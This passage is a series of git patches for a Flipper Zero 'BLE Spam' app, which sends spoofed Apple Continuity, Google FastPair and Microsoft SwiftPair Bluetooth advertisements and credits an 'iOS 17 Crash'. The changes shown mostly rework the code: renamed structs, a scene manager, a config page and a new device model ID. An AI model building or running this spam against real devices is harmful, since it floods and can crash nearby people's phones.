ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; ContinuityType type; @@ -269,7 +269,7 @@ void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProt *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_continuity = { +const Protocol protocol_continuity = { .icon = &I_apple, .get_name = continuity_get_name, .make_packet = continuity_make_packet, diff --git a/applications/external/ble_spam/protocols/continuity.h b/applications/external/ble_spam/protocols/continuity.h index e40d3525e..eb6334731 100644 --- a/applications/external/ble_spam/protocols/continuity.h +++ b/applications/external/ble_spam/protocols/continuity.h @@ -33,4 +33,4 @@ typedef struct { } data; } ContinuityCfg; -extern const BleSpamProtocol ble_spam_protocol_continuity; +extern const Protocol protocol_continuity; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 8d03a6719..28b081e29 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -4,13 +4,13 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction -const char* fastpair_get_name(const BleSpamProtocolCfg* _cfg) { +const char* fastpair_get_name(const ProtocolCfg* _cfg) { const FastpairCfg* cfg = &_cfg->fastpair; UNUSED(cfg); return "FastPair"; } -void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; uint32_t model_id; @@ -67,7 +67,7 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtoc *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_fastpair = { +const Protocol protocol_fastpair = { .icon = &I_android, .get_name = fastpair_get_name, .make_packet = fastpair_make_packet, diff --git a/applications/external/ble_spam/protocols/fastpair.h b/applications/external/ble_spam/protocols/fastpair.h index 46162fbc5..9daf43411 100644 --- a/applications/external/ble_spam/protocols/fastpair.h +++ b/applications/external/ble_spam/protocols/fastpair.h @@ -8,4 +8,4 @@ typedef struct { uint32_t model_id; } FastpairCfg; -extern const BleSpamProtocol ble_spam_protocol_fastpair; +extern const Protocol protocol_fastpair; diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index 60d8808d4..d7046a67f 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -4,13 +4,13 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair -const char* swiftpair_get_name(const BleSpamProtocolCfg* _cfg) { +const char* swiftpair_get_name(const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = &_cfg->swiftpair; UNUSED(cfg); return "SwiftPair"; } -void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProtocolCfg* _cfg) { +void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; const char* display_name; @@ -47,7 +47,7 @@ void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const BleSpamProto *_packet = packet; } -const BleSpamProtocol ble_spam_protocol_swiftpair = { +const Protocol protocol_swiftpair = { .icon = &I_windows, .get_name = swiftpair_get_name, .make_packet = swiftpair_make_packet, diff --git a/applications/external/ble_spam/protocols/swiftpair.h b/applications/external/ble_spam/protocols/swiftpair.h index c3ef21540..4ee4241db 100644 --- a/applications/external/ble_spam/protocols/swiftpair.h +++ b/applications/external/ble_spam/protocols/swiftpair.h @@ -8,4 +8,4 @@ typedef struct { char display_name[25]; } SwiftpairCfg; -extern const BleSpamProtocol ble_spam_protocol_swiftpair; +extern const Protocol protocol_swiftpair; From 93cf1433b95c4a9018c671f95897ca3a6610370c Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 18 Oct 2023 05:25:34 +0100 Subject: [PATCH 07/41] BLE Spam icon in app --- applications/external/ble_spam/ble_spam.c | 2 +- .../ble_spam/icons/{ble.png => ble_spam.png} | Bin 5165 -> 4270 bytes 2 files changed, 1 insertion(+), 1 deletion(-) rename applications/external/ble_spam/icons/{ble.png => ble_spam.png} (56%) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index dc05a748a..5257b1c46 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -204,7 +204,7 @@ static void draw_callback(Canvas* canvas, void* ctx) { const Protocol* protocol = attack ? attack->protocol : NULL; canvas_set_font(canvas, FontSecondary); - canvas_draw_icon(canvas, 4, 3, protocol ? protocol->icon : &I_ble); + canvas_draw_icon(canvas, 4 - !protocol, 3, protocol ? protocol->icon : &I_ble_spam); canvas_draw_str(canvas, 14, 12, "BLE Spam"); switch(state->index) { diff --git a/applications/external/ble_spam/icons/ble.png b/applications/external/ble_spam/icons/ble_spam.png similarity index 56% rename from applications/external/ble_spam/icons/ble.png rename to applications/external/ble_spam/icons/ble_spam.png index f5cf3880bc8344c6cdad680afa6a3ab8ab2b47aa..40a2b88592be046444ecad2d54c8405fb13cae39 100644 GIT binary patch delta 887 zcmZ3hu})F3Gr-TCmrII^fq{Y7)59eQNOJ-)7Y7@VOk*wCH&IcFk#nMrJ0sJ?7DFEo zpeQ2{!)SL;-v9+8JwpRMV-p4jBLgF2D?Khud&{eYqL<<(hANtReNEX15B48j z)!e;#9pAbpg&&NMUOig!LP_Lge)_TAn6f?#Kbl>MzwNIfPfJ;2*x_ya`*U}fGO^5S)L#4e zeg@O!`Af{Lq8@Q{FTE)yVGEB;;r{X?Wl;@Y{|DTun{X4TrbW!6Tw+oMf5nYiP5>XQ2>tmI?c_xz` zlZugLl9`2tajI^Ld6Jo~iJ6(1ZlYmYvaT60LJdt)5-p5POeX(kkykNJH8eFdNlnr< zGEPd>H8C-^(6vlVHP$sqF-kK|O0-C{Of;Ts$Eu-hU}$jI1i@=ew*E{hOY%9)(Yrh?3!&DN!2 zVVq)OVs2upYmt%)v_CP)Lf69F%vjgdC?zGu!qha;*eH22Kc_d6zRg21sKj#u+5mN|1W&H*yy>UXpM&jdCvCZ6wz%b-dXskrv%On# la%IEwxYHlY@2;%2tG{F?cud538z|L#y85}Sb7D$p0swDJKA!|7$v3tXe$R_xQIwO#baM;!o$1pmyIq{G8efPfmo_+80 z?0tF?yVoQh%FlC!TVt&hMTNUJIt%n_(Zd>M)^o#w6b)%cL{LOb0^~%DMa)tL%J503o~i#sFVwH`UccTQ^cf6sjc;V7 z0Nb93>MQvlr#*U~RIX^rPaLs!izmwGOu4Z~qhD|h^o@-T%A*6p(qc<-M#MZ-T~}RD z>y27C9{pyZVfXFU`q}vU2UO=~seP0+Z$DqvLksDu6epi6ZQU|lcB(J?aNo=iZ^aBxr~X*}xzKEX z{;Y9XQuIjvYbI{|+@EJkHeTO%dC>94Tyjmy-L(h3iebz4whG6imGd(<*5)+kHMoB> zUVA)FR(|)&&*|5`Tt7T}b^>o|8e?{U_VwdYGyL2A?#1rlk*5BtvGMcWDSIzX+TdU6 zm9G2Q8SR;!)P;^;_{pY!%M#B0{?Cn@gHxexojnEorGZ3PaOQqpNB!)chYuh4iy9rx zB{e-GhrX?)s7T|E!jjsO+#FHa)q67Jr4YLe6`zt z-@I|99jllVSe^i+$sE9{BmqH20)RB+c#feJmQ{QX)0$P7!I<^PfK?y?m`7NDC#Zmf zkl}e&k+Ft-Ehgu3#IuC(fQ1!Ox^uHE_pITjv~|yyvhDnUf+K=jio|Mt5iBIeRj<9rzCrYIsWk From 13662663a5bb6350fd4b4667696bd8147446ead1 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 01:21:46 +0100 Subject: [PATCH 08/41] Add Sony WF-1000XM4 (thanks Mr_Bass8!) --- applications/external/ble_spam/protocols/fastpair.c | 1 + 1 file changed, 1 insertion(+) diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 28b081e29..70866f02d 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -25,6 +25,7 @@ void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* 0x821F66, // JBL Flip 6 0x92BBBD, // Pixel Buds 0xD446A7, // Sony XM5 + 0x2D7A23, // Sony WF-1000XM4 // Custom debug popups 0xD99CA1, // Flipper Zero From b090d282822d683bb7a55885098716dc6798ee58 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 03:08:23 +0100 Subject: [PATCH 09/41] BLE Spam refactor again to use scene manager --- applications/external/ble_spam/ble_spam.c | 50 +++++++++---------- applications/external/ble_spam/ble_spam.h | 14 ++++++ .../external/ble_spam/protocols/_scenes.h | 0 .../external/ble_spam/scenes/_scenes.h | 2 + .../external/ble_spam/scenes/_setup.c | 30 +++++++++++ .../external/ble_spam/scenes/_setup.h | 28 +++++++++++ applications/external/ble_spam/scenes/main.c | 16 ++++++ 7 files changed, 115 insertions(+), 25 deletions(-) create mode 100644 applications/external/ble_spam/ble_spam.h create mode 100644 applications/external/ble_spam/protocols/_scenes.h create mode 100644 applications/external/ble_spam/scenes/_scenes.h create mode 100644 applications/external/ble_spam/scenes/_setup.c create mode 100644 applications/external/ble_spam/scenes/_setup.h create mode 100644 applications/external/ble_spam/scenes/main.c diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 5257b1c46..f6d12a7d0 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -1,7 +1,7 @@ +#include "ble_spam.h" #include #include #include -#include #include "protocols/_registry.h" @@ -114,6 +114,7 @@ static Attack attacks[] = { uint16_t delays[] = {20, 50, 100, 200}; typedef struct { + Ctx ctx; bool resume; bool advertising; uint8_t delay; @@ -164,10 +165,6 @@ static void toggle_adv(State* state) { } } -enum { - ViewMain, -}; - #define PAGE_MIN (-3) #define PAGE_MAX ATTACKS_COUNT enum { @@ -363,9 +360,9 @@ static bool input_callback(InputEvent* input, void* ctx) { return consumed; } -static uint32_t exit_callback(void* ctx) { - UNUSED(ctx); - return VIEW_NONE; +static bool back_event_callback(void* _ctx) { + Ctx* ctx = _ctx; + return scene_manager_handle_back_event(ctx->scene_manager); } int32_t ble_spam(void* p) { @@ -377,27 +374,30 @@ int32_t ble_spam(void* p) { furi_thread_set_stack_size(state->thread, 4096); Gui* gui = furi_record_open(RECORD_GUI); - ViewDispatcher* view_dispatcher = view_dispatcher_alloc(); - view_dispatcher_enable_queue(view_dispatcher); - view_dispatcher_set_event_callback_context(view_dispatcher, state); + state->ctx.view_dispatcher = view_dispatcher_alloc(); + view_dispatcher_enable_queue(state->ctx.view_dispatcher); + view_dispatcher_set_event_callback_context(state->ctx.view_dispatcher, &state->ctx); + view_dispatcher_set_navigation_event_callback(state->ctx.view_dispatcher, back_event_callback); + state->ctx.scene_manager = scene_manager_alloc(&scene_handlers, &state->ctx); - View* view = view_alloc(); - view_allocate_model(view, ViewModelTypeLockFree, sizeof(State*)); + View* view_main = view_alloc(); + view_allocate_model(view_main, ViewModelTypeLockFree, sizeof(State*)); with_view_model( - view, State * *model, { *model = state; }, false); - view_set_context(view, view); - view_set_draw_callback(view, draw_callback); - view_set_input_callback(view, input_callback); - view_set_previous_callback(view, exit_callback); - view_dispatcher_add_view(view_dispatcher, ViewMain, view); + view_main, State * *model, { *model = state; }, false); + view_set_context(view_main, view_main); + view_set_draw_callback(view_main, draw_callback); + view_set_input_callback(view_main, input_callback); + view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, view_main); - view_dispatcher_attach_to_gui(view_dispatcher, gui, ViewDispatcherTypeFullscreen); - view_dispatcher_switch_to_view(view_dispatcher, ViewMain); - view_dispatcher_run(view_dispatcher); + view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen); + scene_manager_next_scene(state->ctx.scene_manager, SceneMain); + view_dispatcher_run(state->ctx.view_dispatcher); - view_dispatcher_remove_view(view_dispatcher, ViewMain); - view_free(view); - view_dispatcher_free(view_dispatcher); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain); + view_free(view_main); + + scene_manager_free(state->ctx.scene_manager); + view_dispatcher_free(state->ctx.view_dispatcher); furi_record_close(RECORD_GUI); furi_thread_free(state->thread); diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h new file mode 100644 index 000000000..9c409ebfd --- /dev/null +++ b/applications/external/ble_spam/ble_spam.h @@ -0,0 +1,14 @@ +#pragma once + +#include + +#include "scenes/_setup.h" + +enum { + ViewMain, +}; + +typedef struct { + ViewDispatcher* view_dispatcher; + SceneManager* scene_manager; +} Ctx; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h new file mode 100644 index 000000000..e69de29bb diff --git a/applications/external/ble_spam/scenes/_scenes.h b/applications/external/ble_spam/scenes/_scenes.h new file mode 100644 index 000000000..04bc373fc --- /dev/null +++ b/applications/external/ble_spam/scenes/_scenes.h @@ -0,0 +1,2 @@ +ADD_SCENE(main, Main) +#include "../protocols/_scenes.h" diff --git a/applications/external/ble_spam/scenes/_setup.c b/applications/external/ble_spam/scenes/_setup.c new file mode 100644 index 000000000..511267544 --- /dev/null +++ b/applications/external/ble_spam/scenes/_setup.c @@ -0,0 +1,30 @@ +#include "_setup.h" + +// Generate scene on_enter handlers array +#define ADD_SCENE(name, id) scene_##name##_on_enter, +void (*const scene_on_enter_handlers[])(void*) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Generate scene on_event handlers array +#define ADD_SCENE(name, id) scene_##name##_on_event, +bool (*const scene_on_event_handlers[])(void*, SceneManagerEvent) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Generate scene on_exit handlers array +#define ADD_SCENE(name, id) scene_##name##_on_exit, +void (*const scene_on_exit_handlers[])(void*) = { +#include "_scenes.h" +}; +#undef ADD_SCENE + +// Initialize scene handlers configuration structure +const SceneManagerHandlers scene_handlers = { + .on_enter_handlers = scene_on_enter_handlers, + .on_event_handlers = scene_on_event_handlers, + .on_exit_handlers = scene_on_exit_handlers, + .scene_num = SceneCount, +}; diff --git a/applications/external/ble_spam/scenes/_setup.h b/applications/external/ble_spam/scenes/_setup.h new file mode 100644 index 000000000..e9f3b44c5 --- /dev/null +++ b/applications/external/ble_spam/scenes/_setup.h @@ -0,0 +1,28 @@ +#pragma once + +#include + +// Generate scene id and total number +#define ADD_SCENE(name, id) Scene##id, +typedef enum { +#include "_scenes.h" + SceneCount, +} Scene; +#undef ADD_SCENE + +extern const SceneManagerHandlers scene_handlers; + +// Generate scene on_enter handlers declaration +#define ADD_SCENE(name, id) void scene_##name##_on_enter(void*); +#include "_scenes.h" +#undef ADD_SCENE + +// Generate scene on_event handlers declaration +#define ADD_SCENE(name, id) bool scene_##name##_on_event(void*, SceneManagerEvent); +#include "_scenes.h" +#undef ADD_SCENE + +// Generate scene on_exit handlers declaration +#define ADD_SCENE(name, id) void scene_##name##_on_exit(void*); +#include "_scenes.h" +#undef ADD_SCENE diff --git a/applications/external/ble_spam/scenes/main.c b/applications/external/ble_spam/scenes/main.c new file mode 100644 index 000000000..6d901e1fb --- /dev/null +++ b/applications/external/ble_spam/scenes/main.c @@ -0,0 +1,16 @@ +#include "../ble_spam.h" + +void scene_main_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewMain); +} + +bool scene_main_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_main_on_exit(void* _ctx) { + UNUSED(_ctx); +} From cb2c00a84f1a55924ee93578231853ad807e0802 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 03:43:09 +0100 Subject: [PATCH 10/41] BLE Spam add basic config page (parameters later) --- applications/external/ble_spam/ble_spam.c | 26 +++++++++----- applications/external/ble_spam/ble_spam.h | 8 +++++ .../external/ble_spam/protocols/_registry.h | 7 ++++ .../external/ble_spam/protocols/_scenes.h | 3 ++ .../ble_spam/protocols/continuity_scenes.h | 0 .../ble_spam/protocols/fastpair_scenes.h | 0 .../ble_spam/protocols/swiftpair_scenes.h | 0 .../external/ble_spam/scenes/_scenes.h | 1 + .../external/ble_spam/scenes/config.c | 34 +++++++++++++++++++ 9 files changed, 71 insertions(+), 8 deletions(-) create mode 100644 applications/external/ble_spam/protocols/continuity_scenes.h create mode 100644 applications/external/ble_spam/protocols/fastpair_scenes.h create mode 100644 applications/external/ble_spam/protocols/swiftpair_scenes.h create mode 100644 applications/external/ble_spam/scenes/config.c diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index f6d12a7d0..ae0467f3b 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -12,13 +12,6 @@ // Research on behaviors and parameters by @Willy-JL, @ECTO-1A and @Spooks4576 // Controversy explained at https://willyjl.dev/blog/the-controversy-behind-apple-ble-spam -typedef struct { - const char* title; - const char* text; - const Protocol* protocol; - Payload payload; -} Attack; - static Attack attacks[] = { { .title = "+ Kitchen Sink", @@ -323,7 +316,15 @@ static bool input_callback(InputEvent* input, void* ctx) { switch(input->key) { case InputKeyOk: - if(is_attack) toggle_adv(state); + if(is_attack) { + if(input->type == InputTypeLong) { + if(advertising) toggle_adv(state); + state->ctx.attack = &attacks[state->index]; + scene_manager_next_scene(state->ctx.scene_manager, SceneConfig); + } else if(input->type == InputTypeShort) { + toggle_adv(state); + } + } break; case InputKeyUp: if(is_attack && state->delay < COUNT_OF(delays) - 1) { @@ -389,10 +390,19 @@ int32_t ble_spam(void* p) { view_set_input_callback(view_main, input_callback); view_dispatcher_add_view(state->ctx.view_dispatcher, ViewMain, view_main); + state->ctx.variable_item_list = variable_item_list_alloc(); + view_dispatcher_add_view( + state->ctx.view_dispatcher, + ViewVariableItemList, + variable_item_list_get_view(state->ctx.variable_item_list)); + view_dispatcher_attach_to_gui(state->ctx.view_dispatcher, gui, ViewDispatcherTypeFullscreen); scene_manager_next_scene(state->ctx.scene_manager, SceneMain); view_dispatcher_run(state->ctx.view_dispatcher); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewVariableItemList); + variable_item_list_free(state->ctx.variable_item_list); + view_dispatcher_remove_view(state->ctx.view_dispatcher, ViewMain); view_free(view_main); diff --git a/applications/external/ble_spam/ble_spam.h b/applications/external/ble_spam/ble_spam.h index 9c409ebfd..f97030d50 100644 --- a/applications/external/ble_spam/ble_spam.h +++ b/applications/external/ble_spam/ble_spam.h @@ -1,14 +1,22 @@ #pragma once #include +#include #include "scenes/_setup.h" enum { ViewMain, + ViewVariableItemList, }; +typedef struct Attack Attack; + typedef struct { + Attack* attack; + ViewDispatcher* view_dispatcher; SceneManager* scene_manager; + + VariableItemList* variable_item_list; } Ctx; diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_registry.h index 6b0b68dd3..9f81eaf60 100644 --- a/applications/external/ble_spam/protocols/_registry.h +++ b/applications/external/ble_spam/protocols/_registry.h @@ -18,3 +18,10 @@ typedef struct { bool random_mac; ProtocolCfg cfg; } Payload; + +struct Attack { + const char* title; + const char* text; + const Protocol* protocol; + Payload payload; +}; diff --git a/applications/external/ble_spam/protocols/_scenes.h b/applications/external/ble_spam/protocols/_scenes.h index e69de29bb..d91f31010 100644 --- a/applications/external/ble_spam/protocols/_scenes.h +++ b/applications/external/ble_spam/protocols/_scenes.h @@ -0,0 +1,3 @@ +#include "continuity_scenes.h" +#include "fastpair_scenes.h" +#include "swiftpair_scenes.h" diff --git a/applications/external/ble_spam/protocols/continuity_scenes.h b/applications/external/ble_spam/protocols/continuity_scenes.h new file mode 100644 index 000000000..e69de29bb diff --git a/applications/external/ble_spam/protocols/fastpair_scenes.h b/applications/external/ble_spam/protocols/fastpair_scenes.h new file mode 100644 index 000000000..e69de29bb diff --git a/applications/external/ble_spam/protocols/swiftpair_scenes.h b/applications/external/ble_spam/protocols/swiftpair_scenes.h new file mode 100644 index 000000000..e69de29bb diff --git a/applications/external/ble_spam/scenes/_scenes.h b/applications/external/ble_spam/scenes/_scenes.h index 04bc373fc..dbc035b54 100644 --- a/applications/external/ble_spam/scenes/_scenes.h +++ b/applications/external/ble_spam/scenes/_scenes.h @@ -1,2 +1,3 @@ ADD_SCENE(main, Main) +ADD_SCENE(config, Config) #include "../protocols/_scenes.h" diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c new file mode 100644 index 000000000..d3be2ae60 --- /dev/null +++ b/applications/external/ble_spam/scenes/config.c @@ -0,0 +1,34 @@ +#include "../ble_spam.h" + +#include "protocols/_registry.h" + +static void random_mac_changed(VariableItem* item) { + Ctx* ctx = variable_item_get_context(item); + ctx->attack->payload.random_mac = variable_item_get_current_value_index(item); + variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); +} + +void scene_config_on_enter(void* _ctx) { + Ctx* ctx = _ctx; + VariableItem* item; + VariableItemList* list = ctx->variable_item_list; + variable_item_list_reset(list); + + variable_item_list_set_header(list, ctx->attack->title); + + item = variable_item_list_add(list, "Random MAC", 2, random_mac_changed, ctx); + variable_item_set_current_value_index(item, ctx->attack->payload.random_mac); + variable_item_set_current_value_text(item, ctx->attack->payload.random_mac ? "ON" : "OFF"); + + view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewVariableItemList); +} + +bool scene_config_on_event(void* _ctx, SceneManagerEvent event) { + UNUSED(_ctx); + UNUSED(event); + return false; +} + +void scene_config_on_exit(void* _ctx) { + UNUSED(_ctx); +} From b35221f0a3d93a8945f7c4499daca32f3d0fae0f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 03:45:10 +0100 Subject: [PATCH 11/41] Rename _registry to _protocols --- applications/external/ble_spam/ble_spam.c | 2 +- .../external/ble_spam/protocols/{_registry.c => _protocols.c} | 2 +- .../external/ble_spam/protocols/{_registry.h => _protocols.h} | 0 applications/external/ble_spam/protocols/continuity.c | 2 +- applications/external/ble_spam/protocols/fastpair.c | 2 +- applications/external/ble_spam/protocols/swiftpair.c | 2 +- applications/external/ble_spam/scenes/config.c | 2 +- 7 files changed, 6 insertions(+), 6 deletions(-) rename applications/external/ble_spam/protocols/{_registry.c => _protocols.c} (87%) rename applications/external/ble_spam/protocols/{_registry.h => _protocols.h} (100%) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index ae0467f3b..150a8a0a3 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -3,7 +3,7 @@ #include #include -#include "protocols/_registry.h" +#include "protocols/_protocols.h" // Hacked together by @Willy-JL // Custom adv API by @Willy-JL (idea by @xMasterX) diff --git a/applications/external/ble_spam/protocols/_registry.c b/applications/external/ble_spam/protocols/_protocols.c similarity index 87% rename from applications/external/ble_spam/protocols/_registry.c rename to applications/external/ble_spam/protocols/_protocols.c index 502c877b8..8be02da9b 100644 --- a/applications/external/ble_spam/protocols/_registry.c +++ b/applications/external/ble_spam/protocols/_protocols.c @@ -1,4 +1,4 @@ -#include "_registry.h" +#include "_protocols.h" const Protocol* protocols[] = { &protocol_continuity, diff --git a/applications/external/ble_spam/protocols/_registry.h b/applications/external/ble_spam/protocols/_protocols.h similarity index 100% rename from applications/external/ble_spam/protocols/_registry.h rename to applications/external/ble_spam/protocols/_protocols.h diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index 08a8c0ef7..fdf1870f0 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -1,5 +1,5 @@ #include "continuity.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL // iOS 17 Crash by @ECTO-1A diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 70866f02d..8b9c139c2 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -1,5 +1,5 @@ #include "fastpair.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index d7046a67f..e4d081754 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -1,5 +1,5 @@ #include "swiftpair.h" -#include "_registry.h" +#include "_protocols.h" // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair diff --git a/applications/external/ble_spam/scenes/config.c b/applications/external/ble_spam/scenes/config.c index d3be2ae60..51958b15d 100644 --- a/applications/external/ble_spam/scenes/config.c +++ b/applications/external/ble_spam/scenes/config.c @@ -1,6 +1,6 @@ #include "../ble_spam.h" -#include "protocols/_registry.h" +#include "protocols/_protocols.h" static void random_mac_changed(VariableItem* item) { Ctx* ctx = variable_item_get_context(item); From f76f9008eb89dd7a4298b41cf951059addb4a68e Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 Oct 2023 11:21:57 +0100 Subject: [PATCH 12/41] Add statics --nobuild --- applications/external/ble_spam/ble_spam.c | 2 +- applications/external/ble_spam/protocols/continuity.c | 4 ++-- applications/external/ble_spam/protocols/fastpair.c | 4 ++-- applications/external/ble_spam/protocols/swiftpair.c | 4 ++-- 4 files changed, 7 insertions(+), 7 deletions(-) diff --git a/applications/external/ble_spam/ble_spam.c b/applications/external/ble_spam/ble_spam.c index 150a8a0a3..1104b4595 100644 --- a/applications/external/ble_spam/ble_spam.c +++ b/applications/external/ble_spam/ble_spam.c @@ -104,7 +104,7 @@ static Attack attacks[] = { #define ATTACKS_COUNT ((signed)COUNT_OF(attacks)) -uint16_t delays[] = {20, 50, 100, 200}; +static uint16_t delays[] = {20, 50, 100, 200}; typedef struct { Ctx ctx; diff --git a/applications/external/ble_spam/protocols/continuity.c b/applications/external/ble_spam/protocols/continuity.c index fdf1870f0..45645356d 100644 --- a/applications/external/ble_spam/protocols/continuity.c +++ b/applications/external/ble_spam/protocols/continuity.c @@ -16,7 +16,7 @@ static const char* type_names[ContinuityTypeCount] = { [ContinuityTypeNearbyInfo] = "Nearby Info", [ContinuityTypeCustomCrash] = "Custom Packet", }; -const char* continuity_get_name(const ProtocolCfg* _cfg) { +static const char* continuity_get_name(const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = &_cfg->continuity; return type_names[cfg->type]; } @@ -33,7 +33,7 @@ static uint8_t packet_sizes[ContinuityTypeCount] = { [ContinuityTypeCustomCrash] = HEADER_LEN + 11, }; -void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { +static void continuity_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const ContinuityCfg* cfg = _cfg ? &_cfg->continuity : NULL; ContinuityType type; diff --git a/applications/external/ble_spam/protocols/fastpair.c b/applications/external/ble_spam/protocols/fastpair.c index 8b9c139c2..e912ce6af 100644 --- a/applications/external/ble_spam/protocols/fastpair.c +++ b/applications/external/ble_spam/protocols/fastpair.c @@ -4,13 +4,13 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://developers.google.com/nearby/fast-pair/specifications/introduction -const char* fastpair_get_name(const ProtocolCfg* _cfg) { +static const char* fastpair_get_name(const ProtocolCfg* _cfg) { const FastpairCfg* cfg = &_cfg->fastpair; UNUSED(cfg); return "FastPair"; } -void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { +static void fastpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const FastpairCfg* cfg = _cfg ? &_cfg->fastpair : NULL; uint32_t model_id; diff --git a/applications/external/ble_spam/protocols/swiftpair.c b/applications/external/ble_spam/protocols/swiftpair.c index e4d081754..2728f2887 100644 --- a/applications/external/ble_spam/protocols/swiftpair.c +++ b/applications/external/ble_spam/protocols/swiftpair.c @@ -4,13 +4,13 @@ // Hacked together by @Willy-JL and @Spooks4576 // Documentation at https://learn.microsoft.com/en-us/windows-hardware/design/component-guidelines/bluetooth-swift-pair -const char* swiftpair_get_name(const ProtocolCfg* _cfg) { +static const char* swiftpair_get_name(const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = &_cfg->swiftpair; UNUSED(cfg); return "SwiftPair"; } -void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { +static void swiftpair_make_packet(uint8_t* _size, uint8_t** _packet, const ProtocolCfg* _cfg) { const SwiftpairCfg* cfg = _cfg ? &_cfg->swiftpair : NULL; const char* display_name; From 147c981cdfda42b03e8ebc93e586dd807fb6bbba Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Thu, 19 